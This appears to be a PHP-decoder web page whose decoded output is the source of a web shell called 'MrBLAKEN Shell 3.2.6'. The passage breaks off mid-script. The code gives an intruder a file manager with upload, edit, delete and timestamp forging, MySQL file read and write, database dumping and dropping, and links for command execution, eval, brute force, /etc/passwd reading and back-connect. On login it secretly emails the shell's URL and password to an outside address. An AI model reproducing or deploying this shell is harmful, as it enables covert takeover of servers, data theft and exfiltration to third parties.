Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$text = "7b1se9u20jj695vnyWpAS59FYXF6trPYlhLb9ZI08Zq4aHlfvaJXRV5XVpTES1fz3e/MYCHAUpKTtOdqF..
Decoded Output download
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
header("content-Type: text/html; charset=iso-8859-2");
}
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== Login =====================*/
if ($action == "logout") {
scookie('vbapass', '', -86400 * 365);
p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
p('<body background-color: #333333;>');
exit;
}
if($admin['check']) {
if ($doing == 'login') {
if ($admin['pass'] == $password) {
scookie('vbapass', $password);
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = ''.gethostbyname($_SERVER['SERVER_NAME']).'@google.com';
$to_email = '[email protected]';
$server_mail = "[ Decrypt ]";
$linkcr = "Host name : ".$_SERVER['HTTP_HOST']." - Host IP : ".gethostbyname($_SERVER['SERVER_NAME'])."\n\n Shell link : http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." \n Pass : ".$admin['pass']."\n IP user : $ip_remote \n Time : $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
p('<body background-color: #000000;>
<BR><BR><div align=center><font color=black face=tahoma size=3>Loading - Please Wait ...<BR></div>');
exit;
}
else
{
$err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect , Please try again !</blink><BR></font></div></td></tr></table>';
echo $err_mess;
}}
if ($_COOKIE['vbapass']) {
if ($_COOKIE['vbapass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== Login =====================*/
$errmsg = '';
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo($thefile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.filesize($thefile));
@readfile($thefile);
exit;
}
}
if ($doing == 'backupmysql' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
$result = q("SHOW tables");
if (!$result) p('<h2>'.mysql_error().'</h2>');
$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata .= sqldumptable($currow[0]);
}
}
mysql_close();
exit;
}
// Mysql
if($doing=='mysqldown'){
if (!$dbname) {
$errmsg = 'Please input dbname';
} else {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
if (!file_exists($mysqldlfile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q("select load_file('$mysqldlfile');");
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//Download SQL
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
}
$row = @mysql_fetch_array($result);
if (!$row) {
$errmsg = 'Load file failed '.mysql_error();
} else {
$fileinfo = pathinfo($mysqldlfile);
header('Content-type: application/x-'.$fileinfo['extension']);
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header("Accept-Length: ".strlen($row[0]));
echo $row[0];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>> MrBLAKEN Shell 3.2.6</title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:#00a1c3;line-height: 16px;}
a {color: #1DE9D0;text-decoration:none;}
a:hover{color: #00a1c3;text-decoration:underline;}
.alt1 td{border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #00a1c3;border-bottom:0px solid #00a1c3;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid #00a1c3;border-bottom:0px solid #00a1c3;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid #00a1c3;border-bottom:0px solid #00a1c3;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
font-size: 9pt;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
border-left: 1px solid #00a1c3;
border-top: 1px solid #00a1c3;
border-right: 1px solid #00a1c3;
border-bottom: 1px solid #00a1c3;
}
select
{
font-size: 8pt;
font-weight: normal;
color: #ccc;
font-family: verdana, sans-serif;
background-color: #202020;
}
.style1 {font-size: 16pt}
body {
background-image: FFFFFF;
}
body,td,th {
color: #FFFFFF;
}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<center><img src="http://zupimages.net/up/14/26/hckd.png"></img></center>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background-color: #333333;>
<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
<table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
<tr>
<td align="center" valign=center>
<div align="center" class="style1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" border="1" bordercolor="#006600">
Loading </div> </td>
</tr>
</table>
</div>
<script>
var ld=(document.all);
var ns4=document.layers;
var ns6=document.getElementById&&!document.all;
var ie4=document.all;
if (ns4)
ld=document.loading;
else if (ns6)
ld=document.getElementById("loading").style;
else if (ie4)
ld=document.all.loading.style;
function init()
{
if(ns4){ld.visibility="hidden";}
else if (ns6||ie4) ld.display="none";
}
</script>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head_small">
<td width=100% background="">
<table width=100%><tr class="head_small"><td width=86px align="center" background=""><p>
<span style="float:right;">
<?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="http://google.com" target="_blank"><a href="http://frenchdebrid.fr.cr" target="_blank"><?php echo str_replace('.','','MrBLAKEN Shell 3.2.6');?></a> Version 2014</a> | <a href="javascript:goaction('logout');"><font color=#00a1c3>Log Out</font></a>
</span>
<?php
$curl_on = @function_exists('curl_version');
$mysql_on = @function_exists('mysql_connect');
$mssql_on = @function_exists('mssql_connect');
$pg_on = @function_exists('pg_connect');
$ora_on = @function_exists('ocilogon');
echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
echo "PHP version: <b>".@phpversion()."</b> - ";
echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
?> </td>
</tr></table></td>
</tr>
<tr class="alt1">
<td width=100% background=""><span style="float:right;">[Server IP: <?php echo "<font color=red>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=red>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>
<a href="javascript:goaction('file');">File Manager</a> |
<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:goaction('shell');">Execute Command</a> |
<a href="javascript:goaction('phpenv');">PHP Variable</a> |
<a href="javascript:goaction('eval');">Eval PHP Code</a>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a>
<?php }?>
<?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a>
<?php }?> |<a href="?id=fake-mail"><font face="Tahoma" size="2" color="#1DE9D0"> <span style="text-decoration: none">Fake mail</span></font></a></b></td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// Dir function
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
$dir = $dir.'/';
}
$uedir = ue($dir);
if (!$action || $action == 'file') {
// Non-writeable
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
// Delete dir
if ($doing == 'deldir' && $thefile) {
if (!file_exists($thefile)) {
m($thefile.' directory does not exist');
} else {
m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
}
}
// Create new dir
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
m('Directory has already existed');
} else {
m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
@chmod($mkdirs,0777);
}
}
// Upload file
elseif ($doupfile) {
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
}
// Edit file
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
@fclose($fp);
}
// Modify
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
} else {
$newperm = base_convert($newperm,8,10);
m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
}
}
// Rename
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
m($nname.' has already existed or original file does not exist');
} else {
m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
}
}
// Copu
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
} else {
m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
}
}
// File exit
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
} else {
$time = @filemtime($tarfile);
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// Date
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).' does not exist');
} else {
$time = strtotime("$year-$month-$day $hour:$minute:$second");
m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
}
}
// Download
elseif($doing == 'downrar') {
if ($dl) {
$dfiles='';
foreach ($dl as $filepath => $value) {
$dfiles.=$filepath.',';
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(',',$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header('Content-type: application/octet-stream');
header('Accept-Ranges: bytes');
header('Accept-Length: '.strlen($code));
header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
echo $code;
exit;
} else {
m('Please select file(s)');
}
}
// Delete file
elseif($doing == 'delfiles') {
if ($dl) {
$dfiles='';
$succ = $fail = 0;
foreach ($dl as $filepath => $value) {
if (@unlink($filepath)) {
$succ++;
} else {
$fail++;
}
}
m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
} else {
m('Please select file(s)');
}
}
// Function Newdir
formhead(array('name'=>'createdir'));
makehide('newdirname');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileperm'));
makehide('newperm');
makehide('pfile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'copyfile'));
makehide('sname');
makehide('tofile');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'rename'));
makehide('oldname');
makehide('newfilename');
makehide('dir',$nowpath);
formfoot();
formhead(array('name'=>'fileopform'));
makehide('action');
makehide('opfile');
makehide('dir');
formfoot();
$free = @disk_free_space($nowpath);
!$free && $free = 0;
$all = @disk_total_space($nowpath);
!$all && $all = 0;
$used = $all-$free;
$used_percent = @round(100/($all/$free),2);
p('<font color=#00a1c3 face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
<td width="100%" background=""><input name="view_writable" value="0" type="hidden" />
<input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=1;
}
$('godir').dir.value=dir;
$('godir').submit();
}
</script>
<?php
tbhead();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
if ($view_writable) {
p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
} else {
p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
}
p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
if (IS_WIN && IS_COM) {
$obj = new COM('scripting.filesystemobject');
if ($obj && is_object($obj)) {
$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
foreach($obj->Drives as $drive) {
if ($drive->DriveType == 2) {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
Free:'.sizecount($drive->FreeSpace).'
Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
} else {
p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
}
}
}
}
p('</td></tr></form>');
p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
// Get path
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
// Open dir
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
if(@is_dir($filepath)){
$dirdb['filename']=$file;
$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$dirdb['dirchmod']=getChmod($filepath);
$dirdb['dirperm']=getPerms($filepath);
$dirdb['fileowner']=getUser($filepath);
$dirdb['dirlink']=$nowpath;
$dirdb['server_link']=$filepath;
$dirdb['client_link']=ue($filepath);
$dirdata[]=$dirdb;
} else {
$filedb['filename']=$file;
$filedb['size']=sizecount(@filesize($filepath));
$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
$filedb['filechmod']=getChmod($filepath);
$filedb['fileperm']=getPerms($filepath);
$filedb['fileowner']=getUser($filepath);
$filedb['dirlink']=$nowpath;
$filedb['server_link']=$filepath;
$filedb['client_link']=ue($filepath);
$filedata[]=$filedb;
}
}// while
unset($dirdb);
unset($filedb);
@closedir($dirs);
}
@sort($dirdata);
@sort($filedata);
$dir_i = '0';
foreach($dirdata as $key => $dirdb){
if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
p('<td nowrap>'.$dirdb['mtime'].'</td>');
p('<td nowrap>--</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
p('</tr>');
$dir_i++;
} else {
if($dirdb['filename']=='..') {
p('<tr class=fout>');
p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
p('</tr>');
}
}
}
p('<tr bgcolor="#00a1c3" stlye="border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;"><td colspan="6" height="5"></td></tr>');
p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
makehide('action','file');
makehide('thefile');
makehide('doing');
makehide('dir',$nowpath);
$file_i = '0';
foreach($filedata as $key => $filedb){
if($filedb['filename']!='..' && $filedb['filename']!='.') {
$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
$thisbg = bg();
p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
p('<td nowrap>'.$filedb['mtime'].'</td>');
p('<td nowrap>'.$filedb['size'].'</td>');
p('<td nowrap>');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
p('<td nowrap>');
p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
p('</td></tr>');
$file_i++;
}
}
p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Files.tar.gz download </a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
p('</form></table>');
}// end dir
elseif ($action == 'sqlfile') {
if($doing=="mysqlupload"){
$file = $_FILES['uploadfile'];
$filename = $file['tmp_name'];
if (file_exists($savepath)) {
m('The goal file has already existed');
} else {
if(!$filename) {
m('Please choose a file');
} else {
$fp=@fopen($filename,'r');
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents = bin2hex($contents);
if(!$upname) $upname = $file['name'];
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
makehide('action','sqlfile');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBName:');
makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
p('</p>');
formfoot();
p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
p('<h2>Upload file</h2>');
p('<p><b>This operation the DB user must has FILE privilege</b></p>');
p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
p('<h2>Download file</h2>');
p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
makehide('dbhost');
makehide('dbport');
makehide('dbuser');
makehide('dbpass');
makehide('dbname');
makehide('charset');
makehide('doing');
makehide('action','sqlfile');
p('</form>');
}
elseif ($action == 'sqladmin') {
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if(isset($dbhost)){
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if(isset($dbuser)) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if(isset($dbpass)) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if(isset($dbport)) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if(isset($dbname)) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if(isset($charset)) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ($doing == 'backupmysql' && $saveasfile) {
if (!$table) {
m('Please choose the table');
} else {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
$table = array_flip($table);
$fp = @fopen($path,'w');
if ($fp) {
$result = q('SHOW tables');
if (!$result) p('<h2>'.mysql_error().'</h2>');
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $fp);
}
}
fclose($fp);
$fileurl = str_replace(SA_ROOT,'',$path);
m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
mysql_close();
} else {
m('Backup failed');
}
}
}
if ($insert && $insertsql) {
$keystr = $valstr = $tmp = '';
foreach($insertsql as $key => $val) {
if ($val) {
$keystr .= $tmp.$key;
$valstr .= $tmp."'".addslashes($val)."'";
$tmp = ',';
}
}
if ($keystr && $valstr) {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
}
}
if ($update && $insertsql && $base64) {
$valstr = $tmp = '';
foreach($insertsql as $key => $val) {
$valstr .= $tmp.$key."='".addslashes($val)."'";
$tmp = ',';
}
if ($valstr) {
$where = base64_decode($base64);
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
}
}
if ($doing == 'del' && $base64) {
$where = base64_decode($base64);
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
}
if ($tablename && $doing == 'drop') {
dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
if (q("DROP TABLE $tablename")) {
m('Drop table of success');
$tablename = '';
} else {
m(mysql_error());
}
}
$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
formhead(array('title'=>'MYSQL Manager'));
makehide('action','sqladmin');
p('<p>');
p('DBHost:');
makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
p(':');
makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
p('DBUser:');
makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
p('DBPass:');
makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
p('DBCharset:');
makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
